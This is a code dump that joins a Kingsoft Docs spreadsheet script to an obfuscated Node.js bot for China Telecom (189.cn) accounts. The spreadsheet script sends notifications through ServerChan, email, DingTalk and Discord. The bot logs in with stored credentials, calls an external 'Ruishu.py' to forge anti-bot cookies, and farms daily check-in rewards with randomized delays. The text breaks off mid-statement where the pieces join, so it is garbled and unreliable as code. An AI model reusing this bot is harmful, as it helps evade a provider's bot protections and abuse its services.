{ + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + input = Range("D" + pos).Value2 + let url = "https://shanhe.kim/api/youxi/wangzhe.php?msg=" + input + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i { + _0xdb6efe = 2; + process.exit(0); + }); + const _0x377b8a = _0x203c4a.basename(process.argv[1]), + _0x39bc5b = ["bash", "timeout", "grep"]; + let _0x4fe84e = ["ps afx"]; + _0x4fe84e.push("grep " + _0x377b8a); + _0x4fe84e = _0x4fe84e.concat(_0x39bc5b.map(_0x425dac => "grep -v \"" + _0x425dac + " \"")); + _0x4fe84e.push("wc -l"); + const _0x401932 = _0x4fe84e.join("|"), + _0x134226 = () => { + _0x3898d1(_0x401932, (_0x26b41f, _0x817890, _0x4eca1a) => { + if (_0x26b41f || _0x4eca1a) { + return; + } + _0x300c8e = parseInt(_0x817890.trim(), 10); + }); + if (_0xdb6efe == 1) { + setTimeout(_0x134226, 2000); + } + }; + _0x134226(); +} +class _0x9d1851 { + constructor() { + this.index = _0x49dfef.userIdx++; + this.name = ""; + this.valid = false; + const _0x46f57a = { + limit: 0 + }; + const _0x42e66e = { + Connection: "keep-alive" + }; + const _0x1612bd = { + retry: _0x46f57a, + timeout: _0x128624, + followRedirect: false, + ignoreInvalidCookies: true, + headers: _0x42e66e + }; + this.got = _0x8e0885.extend(_0x1612bd); + if (_0xdb6efe == 0) { + _0x11cae0(); + } + } + log(_0x42a357, _0x32d0cc = {}, _0x4e4355 = false) { + var _0x58117c = "", + _0x9ca0e2 = _0x49dfef.userCount.toString().length; + if (this.index) { + _0x58117c += "账号[" + _0x49dfef.padStr(this.index, _0x9ca0e2) + "]"; + } + if (this.name) { + _0x58117c += "[" + this.name + "]"; + } + let logEntry = _0x58117c + _0x42a357; + this.logs.push(logEntry); // 将日志存储到 logs 数组中 + if (_0x4e4355) { + _0x49dfef.log(logEntry, _0x32d0cc); + } +} + set_cookie(_0x309397, _0x3ab012, _0x4a8547, _0x1320cb, _0x482400 = {}) { + this.cookieJar.setCookieSync(_0x309397 + "=" + _0x3ab012 + "; Domain=" + _0x4a8547 + ";", "" + _0x1320cb); + } + async request(_0x29ad8a) { + const _0x58b4a1 = ["ECONNRESET", "EADDRINUSE", "ENOTFOUND", "EAI_AGAIN"], + _0x497c09 = ["TimeoutError"], + _0x54807f = ["EPROTO"], + _0x30eee7 = []; + var _0x208a74 = null, + _0x3a35d0 = 0, + _0x1684d3 = _0x29ad8a.fn || _0x29ad8a.url; + let _0x25d788 = _0x49dfef.get(_0x29ad8a, "valid_code", _0x30eee7); + _0x29ad8a.method = _0x29ad8a?.["method"]?.["toUpperCase"]() || "GET"; + let _0x19ce7b, _0x5c8c40; + while (_0x3a35d0 < _0x5a04a9) { + try { + _0x3a35d0++; + _0x19ce7b = ""; + _0x5c8c40 = ""; + let _0x1fa216 = null, + _0x123eec = _0x29ad8a?.["timeout"] || this.got?.["defaults"]?.["options"]?.["timeout"]?.["request"] || _0x128624, + _0x34e77b = false, + _0x5397b0 = Math.max(this.index - 17, 0), + _0x5d25e7 = Math.min(Math.max(this.index - 18, 1), 18), + _0x52755a = Math.min(Math.max(this.index - 19, 1), 19), + _0x15d328 = _0x5397b0 * _0x5d25e7 * _0x52755a * 4, + _0x2c4c80 = _0x5397b0 * _0x5d25e7 * _0x52755a * 18, + _0x4cfee0 = _0x15d328 + Math.floor(Math.random() * _0x2c4c80), + _0x15dce7 = _0x300c8e * (_0x300c8e - 1) * 20, + _0x5ca50a = (_0x300c8e - 1) * (_0x300c8e - 1) * 20, + _0x333735 = _0x15dce7 + Math.floor(Math.random() * _0x5ca50a), + _0x573d35 = Math.max(_0x49dfef.userCount - 19, 0), + _0x25871d = Math.max(_0x49dfef.userCount - 20, 0), + _0x34f531 = _0x573d35 * 2, + _0x1bd293 = _0x25871d * 4, + _0x4845e7 = _0x34f531 + Math.floor(Math.random() * _0x1bd293), + _0x5dc50f = _0x4cfee0 + _0x333735 + _0x4845e7; + await _0x49dfef.wait(_0x5dc50f); + await new Promise(async _0x45b1d3 => { + setTimeout(() => { + _0x34e77b = true; + _0x45b1d3(); + }, _0x123eec); + await this.got(_0x29ad8a).then(_0x284c2a => { + _0x208a74 = _0x284c2a; + }, _0x55b6b8 => { + _0x1fa216 = _0x55b6b8; + _0x208a74 = _0x55b6b8.response; + _0x19ce7b = _0x1fa216?.["code"] || ""; + _0x5c8c40 = _0x1fa216?.["name"] || ""; + }); + _0x45b1d3(); + }); + if (_0x34e77b) { + this.log("[" + _0x1684d3 + "]请求超时(" + _0x123eec / 1000 + "秒),重试第" + _0x3a35d0 + "次"); + } else { + if (_0x54807f.includes(_0x19ce7b)) { + this.log("[" + _0x1684d3 + "]请求错误[" + _0x19ce7b + "][" + _0x5c8c40 + "]"); + if (_0x1fa216?.["message"]) { + console.log(_0x1fa216.message); + } + break; + } else { + if (_0x497c09.includes(_0x5c8c40)) { + this.log("[" + _0x1684d3 + "]请求错误[" + _0x19ce7b + "][" + _0x5c8c40 + "],重试第" + _0x3a35d0 + "次"); + } else { + if (_0x58b4a1.includes(_0x19ce7b)) { + this.log("[" + _0x1684d3 + "]请求错误[" + _0x19ce7b + "][" + _0x5c8c40 + "],重试第" + _0x3a35d0 + "次"); + } else { + let _0x42b498 = _0x208a74?.["statusCode"] || "", + _0x2ef704 = _0x42b498 / 100 | 0; + if (_0x42b498) { + _0x2ef704 > 3 && !_0x25d788.includes(_0x42b498) && (_0x42b498 ? this.log("请求[" + _0x1684d3 + "]返回[" + _0x42b498 + "]") : this.log("请求[" + _0x1684d3 + "]错误[" + _0x19ce7b + "][" + _0x5c8c40 + "]")); + if (_0x2ef704 <= 4) { + break; + } + } else { + this.log("请求[" + _0x1684d3 + "]错误[" + _0x19ce7b + "][" + _0x5c8c40 + "]"); + } + } + } + } + } + } catch (_0xa3ad4) { + _0xa3ad4.name == "TimeoutError" ? this.log("[" + _0x1684d3 + "]请求超时,重试第" + _0x3a35d0 + "次") : this.log("[" + _0x1684d3 + "]请求错误(" + _0xa3ad4.message + "),重试第" + _0x3a35d0 + "次"); + } + } + const _0x14f89a = { + statusCode: _0x19ce7b || -1, + headers: null, + result: null + }; + if (_0x208a74 == null) { + return Promise.resolve(_0x14f89a); + } + let { + statusCode: _0x4f50c8, + headers: _0x4fdc35, + body: _0x4bfa21 + } = _0x208a74; + if (_0x4bfa21) { + try { + _0x4bfa21 = JSON.parse(_0x4bfa21); + } catch {} + } + const _0x5d1199 = { + statusCode: _0x4f50c8, + headers: _0x4fdc35, + result: _0x4bfa21 + }; + return Promise.resolve(_0x5d1199); + } +} +let _0x280825 = _0x9d1851; +try { + let _0x236d58 = require("./LocalBasic"); + _0x280825 = _0x236d58; +} catch {} +let _0x3b1630 = new _0x280825(_0x49dfef); +const { exec } = require('child_process'); +const fs = require('fs'); +function execAsync(command) { + return new Promise((resolve, reject) => { + exec(command, (error, stdout, stderr) => { + if (error) { + reject(error); + } else { + resolve({ stdout, stderr }); + } + }); + }); +} +class _0x3f433d extends _0x280825 { + constructor(_0x5669ce) { + super(_0x49dfef); + let _0x28f602 = _0x5669ce.split("#"); + this.name = _0x28f602[0]; + this.passwd = _0x28f602?.[1] || ""; + this.uuid = [_0x49dfef.randomPattern("xxxxxxxx"), _0x49dfef.randomPattern("xxxx"), _0x49dfef.randomPattern("4xxx"), _0x49dfef.randomPattern("xxxx"), _0x49dfef.randomPattern("xxxxxxxxxxxx")]; + this.cookieJar = new _0x4f58d7(); + this.can_feed = true; + this.jml_tokenFlag = ""; + this.mall_token = ""; + this.logs = []; + this.got = this.got.extend({ + cookieJar: this.cookieJar, + headers: { + Connection: "keep-alive", + "User-Agent": _0x3ed712 + } + }); + } + load_token() { + let _0x2f4a66 = false; + _0x1d3d6d[this.name] && (this.userId = _0x1d3d6d[this.name].userId, this.token = _0x1d3d6d[this.name].token, this.log("读取到缓存token"), _0x2f4a66 = true); + return _0x2f4a66; + } + encode_phone() { + let _0xd2389f = this.name.split(""); + for (let _0x51660a in _0xd2389f) { + _0xd2389f[_0x51660a] = String.fromCharCode(_0xd2389f[_0x51660a].charCodeAt(0) + 2); + } + return _0xd2389f.join(""); + } + encode_aes(_0x53e9bb) { + return _0x1519a6("AES", "ECB", "Pkcs7", _0x53e9bb, _0x75a069, 0); + } + get_mall_headers() { + return { + "Content-Type": "application/json;charset=utf-8", + Accept: "application/json, text/javascript, */*; q=0.01", + Authorization: this.mall_token ? "Bearer " + this.mall_token : "", + "X-Requested-With": "XMLHttpRequest" + }; + } + async login(_0x2971d3 = {}) { + let _0x22cd07 = false; + try { + let _0x3ae9d0 = _0x49dfef.time("yyyyMMddhhmmss"), + _0x16bc9b = "iPhone 14 15.4." + this.uuid.slice(0, 2).join("") + this.name + _0x3ae9d0 + this.passwd + "0$$$0.", + _0x807c6e = { + fn: "login", + method: "post", + url: "https://appgologin.189.cn:9031/login/client/userLoginNormal", + json: { + headerInfos: { + code: "userLoginNormal", + timestamp: _0x3ae9d0, + broadAccount: "", + broadToken: "", + clientType: "#9.6.1#channel50#iPhone 14 Pro Max#", + shopId: "20002", + source: "110003", + sourcePassword: "Sid98s", + token: "", + userLoginName: this.name + }, + content: { + attach: "test", + fieldData: { + loginType: "4", + accountType: "", + loginAuthCipherAsymmertric: _0x13a631.encrypt(_0x16bc9b, "base64"), + deviceUid: this.uuid.slice(0, 3).join(""), + phoneNum: this.encode_phone(), + isChinatelecom: "0", + systemVersion: "15.4.0", + authentication: this.passwd + } + } + } + }, + { + result: _0x3cbd6a, + statusCode: _0x4338ff + } = await this.request(_0x807c6e), + _0x107431 = _0x49dfef.get(_0x3cbd6a?.["responseData"], "resultCode", -1); + if (_0x107431 == "0000") { + let { + userId = "", + token = "" + } = _0x3cbd6a?.["responseData"]?.["data"]?.["loginSuccessResult"] || {}; + this.userId = userId; + this.token = token; + this.log("使用服务密码登录成功"); + _0x1d3d6d[this.name] = { + token: token, + userId: userId, + t: Date.now() + }; + _0x4e4355(); + _0x22cd07 = true; + } else { + let _0xf8ba30 = _0x3cbd6a?.["msg"] || _0x3cbd6a?.["responseData"]?.["resultDesc"] || _0x3cbd6a?.["headerInfos"]?.["reason"] || ""; + this.log("服务密码登录失败[" + _0x107431 + "]: " + _0xf8ba30); + } + } catch (_0x576f6c) { + console.log(_0x576f6c); + } finally { + return _0x22cd07; + } + } + async get_ticket(_0x3e5067 = {}) { + let _0x252ee2 = ""; + try { + let _0x21dd20 = "\n \n \n getSingle\n " + _0x49dfef.time("yyyyMMddhhmmss") + "\n \n \n #9.6.1#channel50#iPhone 14 Pro Max#\n 20002\n 110003\n Sid98s\n " + this.token + "\n " + this.name + "\n \n \n test\n \n " + _0x1519a6("TripleDES", "CBC", "Pkcs7", this.userId, _0x2304b1, _0x1110eb) + "\n 4a6862274835b451\n \n \n "; + const _0xb709e1 = { + fn: "get_ticket", + method: "post", + url: "https://appgologin.189.cn:9031/map/clientXML", + body: _0x21dd20 + }; + let { + result: _0x9f4220, + statusCode: _0x1e891f + } = await this.request(_0xb709e1); + if (_0x9f4220) { + let _0x18f397 = _0x9f4220.match(/\(\w+)\<\/Ticket\>/); + if (_0x18f397) { + let _0x2c4653 = _0x18f397[1]; + _0x252ee2 = _0x436a1e("TripleDES", "CBC", "Pkcs7", _0x2c4653, _0x2304b1, _0x1110eb); + this.ticket = _0x252ee2; + } + } + !_0x252ee2 && (!_0x3e5067.retry && (await this.login()) ? (_0x3e5067.retry = true, _0x252ee2 = await this.get_ticket(_0x3e5067)) : (this.log("没有获取到ticket[" + _0x1e891f + "]: "), _0x9f4220 && this.log(": " + JSON.stringify(_0x9f4220)))); + } catch (_0x1c9e54) { + console.log(_0x1c9e54); + } finally { + return _0x252ee2; + } + } + + async firstRequest() { + try { + + const { stdout, stderr } = await execAsync('python3 Ruishu.py'); + + if (stderr) { + console.error(`Error running Ruishu.py: ${stderr}`); + return null; + } + + + const cookies = JSON.parse(stdout); + + + const cookieString = Object.entries(cookies) + .map(([key, value]) => `${key}=${value}`) + .join('; '); + + return cookieString; + } catch (error) { + console.error(`Error: ${error.message}`); + return null; + } + } + + + async get_sign(_0x9b96be = {}) { + const cookies = await this.firstRequest(); + let _0x10c0cb = false; + try { + const _0x59fe75 = { + ticket: this.ticket + }; + + const _0x139dfe = { + fn: "login", + method: "get", + url: "https://wapside.189.cn:9001/jt-sign/ssoHomLogin", + searchParams: _0x59fe75, + headers: { + Cookie: cookies, + } + }; + let { + result: _0x36bbb6, + statusCode: _0x3a8945 + } = await this.request(_0x139dfe), + _0xe3542d = _0x49dfef.get(_0x36bbb6, "resoultCode", _0x3a8945); + _0xe3542d == 0 ? (_0x10c0cb = _0x36bbb6?.["sign"], this.sign = _0x10c0cb, this.got = this.got.extend({ + headers: { + sign: this.sign + } + })) : this.log("获取sign失败[" + _0xe3542d + "]: " + _0x36bbb6); + } catch (_0x44161f) { + console.log(_0x44161f); + } finally { + return _0x10c0cb; + } + } + encrypt_para(_0x217db5) { + let _0x1c768f = typeof _0x217db5 == "string" ? _0x217db5 : JSON.stringify(_0x217db5); + return _0x47bb4b.encrypt(_0x1c768f, "hex"); + } + async userCoinInfo(_0x3a27b0 = false, _0x2a9f2e = {}) { + const cookies = await this.firstRequest(); + try { + const _0x314c14 = { + phone: this.name + }; + let _0x55424b = { + fn: "userCoinInfo", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/api/home/userCoinInfo", + json: { + para: this.encrypt_para(_0x314c14) + }, + headers: { + Cookie: cookies, + } + }, + { + result: _0x18ad00, + statusCode: _0x3e695c + } = await this.request(_0x55424b), + _0x474131 = _0x49dfef.get(_0x18ad00, "resoultCode", _0x3e695c); + if (_0x474131 == 0) { + this.coin = _0x18ad00?.["totalCoin"] || 0; + if (_0x3a27b0) { + const _0x3a5985 = { + notify: true + }; + this.log("金豆余额: " + this.coin, _0x3a5985); + if (_0x18ad00.amountEx) { + let _0x5b7bde = _0x49dfef.time("yyyy-MM-dd", _0x18ad00.expireDate); + const _0x359049 = { + notify: true + }; + _0x49dfef.log("\n======= 账号[" + this.index + "][" + this.name + "]--[" + _0x5b7bde + "]--近期将过期" + _0x18ad00.amountEx + "金豆\n", _0x359049); + } + } + } else { + let _0x4e7123 = _0x18ad00?.["msg"] || _0x18ad00?.["resoultMsg"] || _0x18ad00?.["error"] || ""; + this.log("查询账户金豆余额错误[" + _0x474131 + "]: " + _0x4e7123); + } + } catch (_0x4d1b75) { + console.log(_0x4d1b75); + } + } + async userStatusInfo(_0x10c627 = {}) { + try { + const _0x34621e = { + phone: this.name + }; + let _0x16b897 = { + fn: "userStatusInfo", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/api/home/userStatusInfo", + json: { + para: this.encrypt_para(_0x34621e) + } + }; + + // 第一次请求 + { + const cookies = await this.firstRequest(); + _0x16b897.headers = { + Cookie: cookies, + }; + let { + result: _0x39cfe5, + statusCode: _0x5e556e + } = await this.request(_0x49dfef.copy(_0x16b897)), + _0x509ab0 = _0x49dfef.get(_0x39cfe5, "resoultCode", _0x5e556e); + if (_0x509ab0 == 0) { + let { + isSign: _0x1d403c + } = _0x39cfe5?.["data"]; + _0x1d403c ? this.log("今天已签到") : await this.doSign(); + } else { + let _0x11bda2 = _0x39cfe5?.["msg"] || _0x39cfe5?.["resoultMsg"] || _0x39cfe5?.["error"] || ""; + this.log("查询账户签到状态错误[" + _0x509ab0 + "]: " + _0x11bda2); + } + } + + // 第二次请求 + { + const cookies = await this.firstRequest(); + _0x16b897.headers = { + Cookie: cookies, + }; + let { + result: _0xf4c969, + statusCode: _0x34b777 + } = await this.request(_0x49dfef.copy(_0x16b897)), + _0x4d9c85 = _0x49dfef.get(_0xf4c969, "resoultCode", _0x34b777); + if (_0x4d9c85 == 0) { + let { + continuousDay: _0x33365d, + signDay: _0x128cf2, + isSeven: _0x3fa455 + } = _0xf4c969?.["data"]; + this.log("已签到" + _0x128cf2 + "天, 连签" + _0x33365d + "天"); + _0x3fa455 && (await this.exchangePrize()); + } else { + let _0xc36b81 = _0xf4c969?.["msg"] || _0xf4c969?.["resoultMsg"] || _0xf4c969?.["error"] || ""; + this.log("查询账户签到状态错误[" + _0x4d9c85 + "]: " + _0xc36b81); + } + } + } catch (_0x103f04) { + console.log(_0x103f04); + } + } + async continueSignDays(_0x3e553e = {}) { + const cookies = await this.firstRequest(); + try { + const _0x6a3b38 = { + phone: this.name + }; + let _0x215fff = { + fn: "continueSignDays", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/webSign/continueSignDays", + json: { + para: this.encrypt_para(_0x6a3b38) +          }, +          headers: { +            Cookie: cookies, +          } +        }, + { + result: _0x6e6187, + statusCode: _0x257d59 + } = await this.request(_0x215fff), + _0x912371 = _0x49dfef.get(_0x6e6187, "resoultCode", _0x257d59); + if (_0x912371 == 0) { + this.log("抽奖连签天数: " + (_0x6e6187?.["continueSignDays"] || 0) + "天"); + if (_0x6e6187?.["continueSignDays"] == 15) { + const _0x207b02 = { + type: "15" + }; + await this.exchangePrize(_0x207b02); + } else { + if (_0x6e6187?.["continueSignDays"] == 28) { + const _0x1f691c = { + type: "28" + }; + await this.exchangePrize(_0x1f691c); + } + } + } else { + let _0x311a52 = _0x6e6187?.["msg"] || _0x6e6187?.["resoultMsg"] || _0x6e6187?.["error"] || ""; + this.log("查询抽奖连签天数错误[" + _0x912371 + "]: " + _0x311a52); + } + } catch (_0xfe7972) { + console.log(_0xfe7972); + } + } + async continueSignRecords(_0x716c04 = {}) { + const cookies = await this.firstRequest(); + try { + const _0x47b502 = { + phone: this.name + }; + let _0x3db199 = { + fn: "continueSignRecords", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/webSign/continueSignRecords", + json: { + para: this.encrypt_para(_0x47b502) +          }, +          headers: { +            Cookie: cookies, +          } +        }, + { + result: _0xcdce9f, + statusCode: _0x167568 + } = await this.request(_0x3db199), + _0xd160b5 = _0x49dfef.get(_0xcdce9f, "resoultCode", _0x167568); + if (_0xd160b5 == 0) { + if (_0xcdce9f?.["continue15List"]?.["length"]) { + const _0x4ddf3a = { + type: "15" + }; + await this.exchangePrize(_0x4ddf3a); + } + if (_0xcdce9f?.["continue28List"]?.["length"]) { + const _0x24d413 = { + type: "28" + }; + await this.exchangePrize(_0x24d413); + } + } else { + let _0xa1a8c7 = _0xcdce9f?.["msg"] || _0xcdce9f?.["resoultMsg"] || _0xcdce9f?.["error"] || ""; + this.log("查询连签抽奖状态错误[" + _0xd160b5 + "]: " + _0xa1a8c7); + } + } catch (_0x696f49) { + console.log(_0x696f49); + } + } + async doSign(_0x3d1e97 = {}) { + const cookies = await this.firstRequest(); + try { + let _0x2c6ae2 = { + phone: this.name, + date: Date.now(), + sysType: "20002" + }, + _0x32b4a2 = { + fn: "doSign", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/webSign/sign", + json: { + encode: this.encode_aes(JSON.stringify(_0x2c6ae2)) +          }, +          headers: { +            Cookie: cookies, +          } +        }, + { + result: _0x4a380a, + statusCode: _0x39f295 + } = await this.request(_0x32b4a2), + _0x66dfe4 = _0x49dfef.get(_0x4a380a, "resoultCode", _0x39f295); + if (_0x66dfe4 == 0) { + let _0x3199d0 = _0x49dfef.get(_0x4a380a?.["data"], "code", -1); + if (_0x3199d0 == 1) { + const _0x241cc1 = { + notify: true + }; + this.log("签到成功,获得" + (_0x4a380a?.["data"]?.["coin"] || 0) + "金豆", _0x241cc1); + await this.userStatusInfo(); + } else { + const _0x16b3bf = { + notify: true + }; + this.log("签到失败[" + _0x3199d0 + "]: " + _0x4a380a.data.msg, _0x16b3bf); + } + } else { + let _0x48eddc = _0x4a380a?.["msg"] || _0x4a380a?.["resoultMsg"] || _0x4a380a?.["error"] || ""; + this.log("签到错误[" + _0x66dfe4 + "]: " + _0x48eddc); + } + } catch (_0x3c07a4) { + console.log(_0x3c07a4); + } + } + async exchangePrize(_0x503199 = {}) { + const cookies = await this.firstRequest(); + try { + let _0x15d8af = _0x49dfef.pop(_0x503199, "type", "7"); + const _0x247865 = { + phone: this.name, + type: _0x15d8af + }; + let _0x275dee = { + fn: "exchangePrize", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/webSign/exchangePrize", + json: { + para: this.encrypt_para(_0x247865) +          }, +          headers: { +            Cookie: cookies, +          } +        }, + { + result: _0x122edb, + statusCode: _0x7493f8 + } = await this.request(_0x275dee), + _0x32ecff = _0x49dfef.get(_0x122edb, "resoultCode", _0x7493f8); + if (_0x32ecff == 0) { + let _0xfbfebb = _0x49dfef.get(_0x122edb?.["prizeDetail"], "code", -1); + if (_0xfbfebb == 0) { + const _0x51aac0 = { + notify: true + }; + this.log("连签" + _0x15d8af + "天抽奖: " + _0x122edb?.["prizeDetail"]?.["biz"]?.["winTitle"], _0x51aac0); + } else { + let _0x36ea79 = _0x122edb?.["prizeDetail"]?.["err"] || ""; + const _0x513b8a = { + notify: true + }; + this.log("连签" + _0x15d8af + "天抽奖失败[" + _0xfbfebb + "]: " + _0x36ea79, _0x513b8a); + } + } else { + let _0x2f0e88 = _0x122edb?.["msg"] || _0x122edb?.["resoultMsg"] || _0x122edb?.["error"] || ""; + this.log("连签" + _0x15d8af + "天抽奖错误[" + _0x32ecff + "]: " + _0x2f0e88); + } + } catch (_0x57662f) { + console.log(_0x57662f); + } + } + async homepage(_0x5a7e8f, _0x26d9a1 = {}) { + const cookies = await this.firstRequest(); + try { + const _0x1d3d49 = { + phone: this.name, + shopId: "20001", + type: _0x5a7e8f + }; + let _0x5a9f66 = { + fn: "homepage", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/webSign/homepage", + json: { + para: this.encrypt_para(_0x1d3d49) +          }, +          headers: { +            Cookie: cookies, +          } +        }, + { + result: _0x3462ae, + statusCode: _0x17c9d0 + } = await this.request(_0x5a9f66), + _0x59fe3c = _0x49dfef.get(_0x3462ae, "resoultCode", _0x17c9d0); + if (_0x59fe3c == 0) { + let _0x52a59b = _0x49dfef.get(_0x3462ae?.["data"]?.["head"], "code", -1); + if (_0x52a59b == 0) { + for (let _0x3e6107 of _0x3462ae?.["data"]?.["biz"]?.["adItems"] || []) { + if (["0", "1"].includes(_0x3e6107?.["taskState"])) { + switch (_0x3e6107.contentOne) { + case "3": + { + if (_0x3e6107?.["rewardId"]) { + await this.receiveReward(_0x3e6107); + } + break; + } + case "5": + { + await this.openMsg(_0x3e6107); + break; + } + case "6": + { + await this.sharingGetGold(); + break; + } + case "10": + case "13": + { + if (!this.xtoken) { + await this.get_usercode(); + } + this.xtoken && (await this.watchLiveInit()); + break; + } + case "18": + { + await this.polymerize(_0x3e6107); + break; + } + default: + { + break; + } + } + } + } + } else { + let _0xf9bca1 = _0x3462ae?.["data"]?.["head"]?.["err"] || ""; + this.log("获取任务列表失败[" + _0x52a59b + "]: " + _0xf9bca1); + } + } else { + this.log("获取任务列表错误[" + _0x59fe3c + 